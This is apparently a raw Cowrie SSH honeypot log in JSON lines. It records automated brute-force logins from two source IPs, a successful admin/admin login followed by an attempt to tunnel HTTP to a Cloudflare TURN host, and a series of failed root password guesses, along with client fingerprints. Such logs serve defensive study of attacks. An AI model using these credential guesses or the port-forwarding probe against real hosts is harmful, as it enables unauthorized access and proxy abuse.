{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:52.413263Z","src_ip":"45.148.10.121","session":"12990ab721bf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:52.501083Z","session":"12990ab721bf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:52.587708Z","src_ip":"45.148.10.121","session":"12990ab721bf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:52.590447Z","src_ip":"45.148.10.121","session":"12990ab721bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:52.731145Z","src_ip":"45.148.10.121","session":"12990ab721bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":34972,"dst_ip":"10.17.0.5","dst_port":22,"session":"40a0904778e3","protocol":"ssh","message":"New connection: 45.148.10.121:34972 (10.17.0.5:22) [session: 40a0904778e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:52.809280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:52.813931Z","src_ip":"45.148.10.121","session":"40a0904778e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:52.897656Z","src_ip":"45.148.10.121","session":"40a0904778e3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:53.149310Z","src_ip":"45.148.10.121","session":"40a0904778e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:53.235283Z","session":"40a0904778e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:53.320802Z","src_ip":"45.148.10.121","session":"40a0904778e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:53.323604Z","src_ip":"45.148.10.121","session":"40a0904778e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:53.409809Z","src_ip":"45.148.10.121","session":"40a0904778e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:53.515308Z","src_ip":"60.165.124.241","session":"17a9943829c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58888,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4e1dbb3094c","protocol":"ssh","message":"New connection: 60.165.124.241:58888 (10.17.0.5:22) [session: a4e1dbb3094c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:53.763408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:53.768110Z","src_ip":"60.165.124.241","session":"a4e1dbb3094c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:54.710668Z","src_ip":"60.165.124.241","session":"a4e1dbb3094c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"west@999","message":"login attempt [root/west@999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:55.467473Z","src_ip":"60.165.124.241","session":"a4e1dbb3094c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:56.720305Z","src_ip":"60.165.124.241","session":"a4e1dbb3094c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34688,"dst_ip":"10.17.0.5","dst_port":22,"session":"872fce10fce9","protocol":"ssh","message":"New connection: 60.165.124.241:34688 (10.17.0.5:22) [session: 872fce10fce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:56.953710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:56.958786Z","src_ip":"60.165.124.241","session":"872fce10fce9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:57.206965Z","src_ip":"60.165.124.241","session":"872fce10fce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3E4r","message":"login attempt [root/1Q2w3E4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:57.959513Z","src_ip":"60.165.124.241","session":"872fce10fce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:59.210987Z","src_ip":"60.165.124.241","session":"872fce10fce9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37418,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6f93722cad9","protocol":"ssh","message":"New connection: 60.165.124.241:37418 (10.17.0.5:22) [session: e6f93722cad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:59.450274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:59.457890Z","src_ip":"60.165.124.241","session":"e6f93722cad9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:59.702308Z","src_ip":"60.165.124.241","session":"e6f93722cad9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@888!","message":"login attempt [root/Welcome@888!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:00.446784Z","src_ip":"60.165.124.241","session":"e6f93722cad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:01.695375Z","src_ip":"60.165.124.241","session":"e6f93722cad9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40302,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc630404bc14","protocol":"ssh","message":"New connection: 60.165.124.241:40302 (10.17.0.5:22) [session: cc630404bc14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:01.942845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:01.948686Z","src_ip":"60.165.124.241","session":"cc630404bc14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:02.897548Z","src_ip":"60.165.124.241","session":"cc630404bc14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ai@123456","message":"login attempt [root/Ai@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:05.764843Z","src_ip":"60.165.124.241","session":"cc630404bc14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:09.393642Z","src_ip":"60.165.124.241","session":"cc630404bc14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48944,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5ccc9ba592e","protocol":"ssh","message":"New connection: 60.165.124.241:48944 (10.17.0.5:22) [session: b5ccc9ba592e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:10.629198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:10.639043Z","src_ip":"60.165.124.241","session":"b5ccc9ba592e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:10.884617Z","src_ip":"60.165.124.241","session":"b5ccc9ba592e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"claudia123","message":"login attempt [root/claudia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:11.629138Z","src_ip":"60.165.124.241","session":"b5ccc9ba592e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:12.877296Z","src_ip":"60.165.124.241","session":"b5ccc9ba592e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52788,"dst_ip":"10.17.0.5","dst_port":22,"session":"b287d888876e","protocol":"ssh","message":"New connection: 60.165.124.241:52788 (10.17.0.5:22) [session: b287d888876e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:13.119965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:13.125360Z","src_ip":"60.165.124.241","session":"b287d888876e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:13.371112Z","src_ip":"60.165.124.241","session":"b287d888876e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W#E$R%T","message":"login attempt [root/!Q@W#E$R%T] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:14.791269Z","src_ip":"60.165.124.241","session":"b287d888876e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:16.045009Z","src_ip":"60.165.124.241","session":"b287d888876e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56286,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe86f4d2419e","protocol":"ssh","message":"New connection: 60.165.124.241:56286 (10.17.0.5:22) [session: fe86f4d2419e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:19.279270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:39:19.284111Z","src_ip":"60.165.124.241","session":"fe86f4d2419e","protocol":"ssh"}
